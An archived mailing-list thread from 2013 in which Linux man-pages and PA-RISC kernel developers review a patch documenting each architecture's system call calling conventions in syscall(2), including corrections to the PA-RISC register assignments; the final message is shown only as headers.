 <201304010632.41520.vapier@gentoo.org> <CAKgNAkgG2kdCC1tyZQkYU7O_nP7RB8VoCmx6eb8FcudU1s6RgA@mail.gmail.com>
 <201304021917.17659.vapier@gentoo.org>
Reply-To: mtk.manpages@gmail.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1365328874 14844 80.91.229.3 (7 Apr 2013 10:01:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 7 Apr 2013 10:01:14 +0000 (UTC)
Cc: linux-man <linux-man@vger.kernel.org>,
	Kyle McMartin <kyle@infradead.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 07 12:01:16 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UOmPU-0006C9-1P
	for glpp-linux-parisc@plane.gmane.org; Sun, 07 Apr 2013 12:01:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933179Ab3DGKBM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Apr 2013 06:01:12 -0400
Original-Received: from mail-pa0-f48.google.com ([209.85.220.48]:39264 "EHLO
	mail-pa0-f48.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933175Ab3DGKBL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Apr 2013 06:01:11 -0400
Original-Received: by mail-pa0-f48.google.com with SMTP id lj1so2742409pab.35
        for <multiple recipients>; Sun, 07 Apr 2013 03:01:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=x-received:mime-version:reply-to:in-reply-to:references:from:date
         :message-id:subject:to:cc:content-type;
        bh=2kK9bSSjBajx1mGPnWIGSPEn1btqz2jr8EXX+93d5C0=;
        b=ijLArCO44xk1HJLhPsTD5gm5AlCncrjeHrSjh6B0eERRNBHaZW9ywgmayho3BjasJy
         9EC6ifrDR2SlW/hKmW2TBleYPDaissL1zM3SqqhMFIQWoVdkdDWPOoSx4ZLb1iYwec8I
         sP6L/vWEMhAK5CcRFEDH1hdl6syVRE4J82APVRSOF2Bv51i9mX3V27c5Rggh1vFUhta4
         vmmUuTev1CnbjLalBHVmlMeBYuJfFicG3kZzUk1ZPU4LYHASvATnJ256w+h5vrMAMLgh
         VfjHgb5jFLz8XJU2x/CY0TlSwGeHrTkvSTGR3lLwbwbxjX9YYg/mnScU798OweUouIGF
         xBhw==
X-Received: by 10.66.120.49 with SMTP id kz17mr27268579pab.133.1365328870334;
 Sun, 07 Apr 2013 03:01:10 -0700 (PDT)
Original-Received: by 10.69.15.196 with HTTP; Sun, 7 Apr 2013 03:00:50 -0700 (PDT)
In-Reply-To: <201304021917.17659.vapier@gentoo.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4887 gmane.linux.man:3866
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4887>

[Adding a few people to CC who may be able to help with Mike's doubts
on PA-RISC; folks, if any of you could have a quick look at the parisc
piece below, that would be helpful]

Mike,

On Wed, Apr 3, 2013 at 1:17 AM, Mike Frysinger <vapier@gentoo.org> wrote:
> On Tuesday 02 April 2013 02:54:39 Michael Kerrisk (man-pages) wrote:
>> On Mon, Apr 1, 2013 at 12:32 PM, Mike Frysinger wrote:
>> > On Monday 01 April 2013 05:29:11 Michael Kerrisk (man-pages) wrote:
>> >> On Mon, Apr 1, 2013 at 10:29 AM, Mike Frysinger wrote:
>> >> > on a related topic, would it be useful to document the exact calling
>> >> > convention for architecture system calls ?  from time to time, i need
>> >> > to reference this, and i inevitably turn to a variety of sources to
>> >> > dig up the answer (the kernel itself, or strace, or qemu, or glibc,
>> >> > or uClibc, or lss, or other random places).  i would find it handy to
>> >> > have all of these in a single location.
>> >>
>> >> Sounds like it would be useful to have that documented. Would you have
>> >> a chance to write patches for that?
>> >
>> > should we do it in syscall(2) ?  or a dedicated man page ?
>>
>> It's a little hard to say until I see the shape of what comes. Can you
>> provide a rough per-syscall example or two of what you expect to
>> document? (Don't write too concrete a patch yet, until I can get a
>> handle on what you intend.)
>
> this renders nicely i think.  it shows most of the stuff i'm interested in.
> might be useful to add a dedicated section covering the clobbers in the
> future.

Thanks for that. It looks good to me, and I have applied. But it
renders too wide (wherever possible, I try to ensure that everything
renders inside 80 columns), so I have split into tables, one with
"instruction, NR, ret" and another with the arguments (arg1 to arg7).

Now, just to make 100% sure of your intention, the NR column would be
better named "syscall #" (or similar), right? (I've made that change.)

> --- a/man2/syscall.2
> +++ b/man2/syscall.2
> @@ -79,6 +79,35 @@ and an error code is stored in
>  .BR syscall ()
>  first appeared in
>  4BSD.
> +.SS Architecture calling conventions
> +Every architecture has its own way of invoking & passing arguments to the
> +kernel.
> +Note that the instruction listed below might not be the fastest or best way to
> +transition to the kernel, so you might have to refer to the VDSO.

Mike, any chance that I could interest you in writing a vdso(7) man
page? I've felt the lack of such a page for a while (it need not be
too long), but am not deep enough into the details to write it easily
(I am not sure if you are).

> +Also note that this doesn't cover the entire calling convention -- some
> +architectures may indiscriminately clobber other registers not listed here.
> +.if t \{\
> +.ft CW
> +\}
> +.TS
> +l l l l l l l l l l l.
> +arch/ABI       insn    NR      ret     arg1    arg2    arg3    arg4    arg5    arg6    arg7
> +_
> +arm/OABI       swi NR; -       a1      a1      a2      a3      a4      v1      v2      v3
> +arm/EABI       swi 0x0;        r7      r1      r1      r2      r3      r4      r5      r6      r7
> +bfin   excpt 0x0;      P0      R0      R0      R1      R2      R3      R4      R5      -
> +i386   int $0x80;      eax     eax     ebx     ecx     edx     esi     edi     ebp     -
> +ia64   break 0x100000; r15     r10/r8  r11     r9      r10     r14     r15     r13     -
> +.\" not sure about insn or NR
> +.\" parisc     ble 0x100(%%sr2, %%r0); -       r28     r26     r25     r24     r23     r22     r21     -

PA-RISC folks, are you able to confirm/correct the above?

> +sparc/32       t 0x10; g1      o0      o0      o1      o2      o3      o4      o5      -
> +sparc/64       t 0x6d; g1      o0      o0      o1      o2      o3      o4      o5      -
> +x86_64 syscall;        rax     rax     rdi     rsi     rdx     r10     r8      r9      -
> +.TE
> +.if t \{\
> +.in
> +.ft P
> +\}
>  .SS Architecture-specific requirements
>  Each architecture ABI has its own requirements on how
>  system call arguments are passed to the kernel.

Cheers,

Michael

--
Michael Kerrisk
Linux man-pages maintainer; http://www.kernel.org/doc/man-pages/
Author of "The Linux Programming Interface"; http://man7.org/tlpi/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.man
Subject: Re: [PATCH] man2 : syscall.2 : document syscall calling conventions
Date: Sun, 7 Apr 2013 09:55:14 -0400
Lines: 109
Approved: news@gmane.org
Message-ID: <20130407135514.GW12938@bombadil.infradead.org>
References: <1364361092-5948-1-git-send-email-ch0.han@lge.com>
 <201304010632.41520.vapier@gentoo.org>
 <CAKgNAkgG2kdCC1tyZQkYU7O_nP7RB8VoCmx6eb8FcudU1s6RgA@mail.gmail.com>
 <201304021917.17659.vapier@gentoo.org>
 <CAKgNAkgODPSWSeA8ZymiAjFBqSAZQMtQe9GW84Y6QHdFEc9S-w@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1365342925 5878 80.91.229.3 (7 Apr 2013 13:55:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 7 Apr 2013 13:55:25 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>,
	linux-man <linux-man@vger.kernel.org>,
	Kyle McMartin <kyle@infradead.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: "Michael Kerrisk (man-pages)" <mtk.manpages@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 07 15:55:27 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UOq46-0006ed-3N
	for glpp-linux-parisc@plane.gmane.org; Sun, 07 Apr 2013 15:55:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933688Ab3DGNzZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Apr 2013 09:55:25 -0400
Original-Received: from 173-166-109-252-newengland.hfc.comcastbusiness.net ([173.166.109.252]:38372
	"EHLO bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933666Ab3DGNzY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Apr 2013 09:55:24 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux))
	id 1UOq3u-0001F5-Py; Sun, 07 Apr 2013 13:55:14 +0000
Content-Disposition: inline
In-Reply-To: <CAKgNAkgODPSWSeA8ZymiAjFBqSAZQMtQe9GW84Y6QHdFEc9S-w@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4888 gmane.linux.man:3869
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4888>

On Sun, Apr 07, 2013 at 12:00:50PM +0200, Michael Kerrisk (man-pages) wrote:
> [Adding a few people to CC who may be able to help with Mike's doubts
> on PA-RISC; folks, if any of you could have a quick look at the parisc
> piece below, that would be helpful]
> 

The syscall number is in %r20, everything else looks correct. The
returned value is in %r28 and the args are %r26 through %r21.

--Kyle

> Mike,
> 
> On Wed, Apr 3, 2013 at 1:17 AM, Mike Frysinger <vapier@gentoo.org> wrote:
> > On Tuesday 02 April 2013 02:54:39 Michael Kerrisk (man-pages) wrote:
> >> On Mon, Apr 1, 2013 at 12:32 PM, Mike Frysinger wrote:
> >> > On Monday 01 April 2013 05:29:11 Michael Kerrisk (man-pages) wrote:
> >> >> On Mon, Apr 1, 2013 at 10:29 AM, Mike Frysinger wrote:
> >> >> > on a related topic, would it be useful to document the exact calling
> >> >> > convention for architecture system calls ?  from time to time, i need
> >> >> > to reference this, and i inevitably turn to a variety of sources to
> >> >> > dig up the answer (the kernel itself, or strace, or qemu, or glibc,
> >> >> > or uClibc, or lss, or other random places).  i would find it handy to
> >> >> > have all of these in a single location.
> >> >>
> >> >> Sounds like it would be useful to have that documented. Would you have
> >> >> a chance to write patches for that?
> >> >
> >> > should we do it in syscall(2) ?  or a dedicated man page ?
> >>
> >> It's a little hard to say until I see the shape of what comes. Can you
> >> provide a rough per-syscall example or two of what you expect to
> >> document? (Don't write too concrete a patch yet, until I can get a
> >> handle on what you intend.)
> >
> > this renders nicely i think.  it shows most of the stuff i'm interested in.
> > might be useful to add a dedicated section covering the clobbers in the
> > future.
> 
> Thanks for that. It looks good to me, and I have applied. But it
> renders too wide (wherever possible, I try to ensure that everything
> renders inside 80 columns), so I have split into tables, one with
> "instruction, NR, ret" and another with the arguments (arg1 to arg7).
> 
> Now, just to make 100% sure of your intention, the NR column would be
> better named "syscall #" (or similar), right? (I've made that change.)
> 
> > --- a/man2/syscall.2
> > +++ b/man2/syscall.2
> > @@ -79,6 +79,35 @@ and an error code is stored in
> >  .BR syscall ()
> >  first appeared in
> >  4BSD.
> > +.SS Architecture calling conventions
> > +Every architecture has its own way of invoking & passing arguments to the
> > +kernel.
> > +Note that the instruction listed below might not be the fastest or best way to
> > +transition to the kernel, so you might have to refer to the VDSO.
> 
> Mike, any chance that I could interest you in writing a vdso(7) man
> page? I've felt the lack of such a page for a while (it need not be
> too long), but am not deep enough into the details to write it easily
> (I am not sure if you are).
> 
> > +Also note that this doesn't cover the entire calling convention -- some
> > +architectures may indiscriminately clobber other registers not listed here.
> > +.if t \{\
> > +.ft CW
> > +\}
> > +.TS
> > +l l l l l l l l l l l.
> > +arch/ABI       insn    NR      ret     arg1    arg2    arg3    arg4    arg5    arg6    arg7
> > +_
> > +arm/OABI       swi NR; -       a1      a1      a2      a3      a4      v1      v2      v3
> > +arm/EABI       swi 0x0;        r7      r1      r1      r2      r3      r4      r5      r6      r7
> > +bfin   excpt 0x0;      P0      R0      R0      R1      R2      R3      R4      R5      -
> > +i386   int $0x80;      eax     eax     ebx     ecx     edx     esi     edi     ebp     -
> > +ia64   break 0x100000; r15     r10/r8  r11     r9      r10     r14     r15     r13     -
> > +.\" not sure about insn or NR
> > +.\" parisc     ble 0x100(%%sr2, %%r0); -       r28     r26     r25     r24     r23     r22     r21     -
> 
> PA-RISC folks, are you able to confirm/correct the above?
> 
> > +sparc/32       t 0x10; g1      o0      o0      o1      o2      o3      o4      o5      -
> > +sparc/64       t 0x6d; g1      o0      o0      o1      o2      o3      o4      o5      -
> > +x86_64 syscall;        rax     rax     rdi     rsi     rdx     r10     r8      r9      -
> > +.TE
> > +.if t \{\
> > +.in
> > +.ft P
> > +\}
> >  .SS Architecture-specific requirements
> >  Each architecture ABI has its own requirements on how
> >  system call arguments are passed to the kernel.
> 
> Cheers,
> 
> Michael
> 
> --
> Michael Kerrisk
> Linux man-pages maintainer; http://www.kernel.org/doc/man-pages/
> Author of "The Linux Programming Interface"; http://man7.org/tlpi/
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.man
Subject: Re: [PATCH] man2 : syscall.2 : document syscall calling conventions
Date: Sun, 07 Apr 2013 07:56:49 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <1365346609.1992.10.camel@dabdike>
References: <1364361092-5948-1-git-send-email-ch0.han@lge.com>
	 <201304010632.41520.vapier@gentoo.org>
	 <CAKgNAkgG2kdCC1tyZQkYU7O_nP7RB8VoCmx6eb8FcudU1s6RgA@mail.gmail.com>
	 <201304021917.17659.vapier@gentoo.org>
	 <CAKgNAkgODPSWSeA8ZymiAjFBqSAZQMtQe9GW84Y6QHdFEc9S-w@mail.gmail.com>
	 <20130407135514.GW12938@bombadil.infradead.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365346611 6675 80.91.229.3 (7 Apr 2013 14:56:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 7 Apr 2013 14:56:51 +0000 (UTC)
Cc: "Michael Kerrisk (man-pages)" <mtk.manpages@gmail.com>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-man <linux-man@vger.kernel.org>,
	Kyle McMartin <kyle@infradead.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 07 16:56:53 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UOr1Z-0003lL-1u
	for glpp-linux-parisc@plane.gmane.org; Sun, 07 Apr 2013 16:56:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933874Ab3DGO4w (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Apr 2013 10:56:52 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:58820 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933866Ab3DGO4v (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Apr 2013 10:56:51 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 01EF78EE0F1;
	Sun,  7 Apr 2013 07:56:51 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id flJ_0Ti8AwGG; Sun,  7 Apr 2013 07:56:50 -0700 (PDT)
Original-Received: from [10.0.0.6] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 63BD98EE0DF;
	Sun,  7 Apr 2013 07:56:50 -0700 (PDT)
In-Reply-To: <20130407135514.GW12938@bombadil.infradead.org>
X-Mailer: Evolution 3.6.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4889 gmane.linux.man:3870
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4889>

On Sun, 2013-04-07 at 09:55 -0400, Kyle McMartin wrote:
> On Sun, Apr 07, 2013 at 12:00:50PM +0200, Michael Kerrisk (man-pages) wrote:
> > [Adding a few people to CC who may be able to help with Mike's doubts
> > on PA-RISC; folks, if any of you could have a quick look at the parisc
> > piece below, that would be helpful]
> > 
> 
> The syscall number is in %r20, everything else looks correct. The
> returned value is in %r28 and the args are %r26 through %r21.

Actually, that's not quite correct.  on 64 bits it's arg1-8 are %r26-%
r19 but on 32 the convention is that arg1-arg4 are %r26-%r23 and the
rest on stack.  We can also do register pair combining on 32 bits for a
64 bit argument.

Our register use is documented in 

Documentation/parisc/registers

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.man
Subject: Re: [PATCH] man2 : syscall.2 : document syscall calling conventions
Date: Sun, 7 Apr 2013 11:11:34 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20130407151134.GX12938@bombadil.infradead.org>
References: <1364361092-5948-1-git-send-email-ch0.han@lge.com>
 <201304010632.41520.vapier@gentoo.org>
 <CAKgNAkgG2kdCC1tyZQkYU7O_nP7RB8VoCmx6eb8FcudU1s6RgA@mail.gmail.com>
 <201304021917.17659.vapier@gentoo.org>
 <CAKgNAkgODPSWSeA8ZymiAjFBqSAZQMtQe9GW84Y6QHdFEc9S-w@mail.gmail.com>
 <20130407135514.GW12938@bombadil.infradead.org>
 <1365346609.1992.10.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1365347499 14363 80.91.229.3 (7 Apr 2013 15:11:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 7 Apr 2013 15:11:39 +0000 (UTC)
Cc: "Michael Kerrisk (man-pages)" <mtk.manpages@gmail.com>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-man <linux-man@vger.kernel.org>,
	Kyle McMartin <kyle@infradead.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 07 17:11:41 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UOrFt-0006UX-3a
	for glpp-linux-parisc@plane.gmane.org; Sun, 07 Apr 2013 17:11:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933886Ab3DGPLk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Apr 2013 11:11:40 -0400
Original-Received: from 173-166-109-252-newengland.hfc.comcastbusiness.net ([173.166.109.252]:38702
	"EHLO bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933885Ab3DGPLj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Apr 2013 11:11:39 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux))
	id 1UOrFm-0002YV-J1; Sun, 07 Apr 2013 15:11:34 +0000
Content-Disposition: inline
In-Reply-To: <1365346609.1992.10.camel@dabdike>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4890 gmane.linux.man:3871
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4890>

On Sun, Apr 07, 2013 at 07:56:49AM -0700, James Bottomley wrote:
> Actually, that's not quite correct.  on 64 bits it's arg1-8 are %r26-%
> r19 but on 32 the convention is that arg1-arg4 are %r26-%r23 and the
> rest on stack.  We can also do register pair combining on 32 bits for a
> 64 bit argument.

I guess the confusion is whether you're writing this from the kernel
side or the userspace side. The syscall instruction is called with six
arg registers, but we fix it on entry to the kernel when we call into C.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>
Newsgroups: gmane.linux.man,gmane.linux.ports.parisc
Subject: Re: [PATCH] man2 : syscall.2 : document syscall calling conventions
Date: Sun, 07 Apr 2013 08:38:30 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <1365349110.1992.20.camel@dabdike>
References: <1364361092-5948-1-git-send-email-ch0.han@lge.com>
	 <201304010632.41520.vapier@gentoo.org>
	 <CAKgNAkgG2kdCC1tyZQkYU7O_nP7RB8VoCmx6eb8FcudU1s6RgA@mail.gmail.com>
	 <201304021917.17659.vapier@gentoo.org>
	 <CAKgNAkgODPSWSeA8ZymiAjFBqSAZQMtQe9GW84Y6QHdFEc9S-w@mail.gmail.com>
	 <20130407135514.GW12938@bombadil.infradead.org>
	 <1365346609.1992.10.camel@dabdike>
	 <20130407151134.GX12938@bombadil.infradead.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365349120 28783 80.91.229.3 (7 Apr 2013 15:38:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 7 Apr 2013 15:38:40 +0000 (UTC)
Cc: "Michael Kerrisk (man-pages)" <mtk.manpages-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Mike Frysinger <vapier-aBrp7R+bbdUdnm+yROfE0A@public.gmane.org>,
	linux-man <linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Kyle McMartin <kyle-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>,
	Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Kyle McMartin <kyle-pfcGkIkfWfAsA/PxXw9srA@public.gmane.org>
Original-X-From: linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Sun Apr 07 17:38:41 2013
Return-path: <linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glm-linux-man-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1UOrfy-0000nb-4f
	for glm-linux-man-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Sun, 07 Apr 2013 17:38:38 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S933946Ab3DGPid (ORCPT <rfc822;glm-linux-man@m.gmane.org>);
	Sun, 7 Apr 2013 11:38:33 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:58964 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933944Ab3DGPic (ORCPT
	<rfc822;linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Sun, 7 Apr 2013 11:38:32 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 1F2C98EE0FD;
	Sun,  7 Apr 2013 08:38:32 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 7RkSjICK_Syh; Sun,  7 Apr 2013 08:38:32 -0700 (PDT)
Original-Received: from [10.0.0.6] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 808168EE0DF;
	Sun,  7 Apr 2013 08:38:31 -0700 (PDT)
In-Reply-To: <20130407151134.GX12938-PfSpb0PWhxZc2C7mugBRk2EX/6BAtgUQ@public.gmane.org>
X-Mailer: Evolution 3.6.3 
Original-Sender: linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-man.vger.kernel.org>
X-Mailing-List: linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.man:3872 gmane.linux.ports.parisc:4891
Archived-At: <http://permalink.gmane.org/gmane.linux.man/3872>

On Sun, 2013-04-07 at 11:11 -0400, Kyle McMartin wrote:
> On Sun, Apr 07, 2013 at 07:56:49AM -0700, James Bottomley wrote:
> > Actually, that's not quite correct.  on 64 bits it's arg1-8 are %r26-%
> > r19 but on 32 the convention is that arg1-arg4 are %r26-%r23 and the
> > rest on stack.  We can also do register pair combining on 32 bits for a
> > 64 bit argument.
> 
> I guess the confusion is whether you're writing this from the kernel
> side or the userspace side. The syscall instruction is called with six
> arg registers, but we fix it on entry to the kernel when we call into C.

Oh, right, syscall arguments, sorry didn't manage to extract the content
from all the quotes.  I was just thinking general ABI.

The syscall arguments are all in

arch/parisc/include/asm/unistd.h

As Kyle says, we override the calling convention and define in-register
arguments even on 32 bit (so %r26-%r21).  We actually don't define
_syscall6() yet, but we're ready for it.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-man" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier-aBrp7R+bbdUdnm+yROfE0A@public.gmane.org>
Newsgroups: gmane.linux.man,gmane.linux.ports.parisc
Subject: Re: [PATCH] man2 : syscall.2 : document syscall calling conventions
Date: Sun, 7 Apr 2013 14:39:13 -0400
Organization: wh0rd.org
Lines: 57
Approved: news@gmane.org
Message-ID: <201304071439.15297.vapier@gentoo.org>
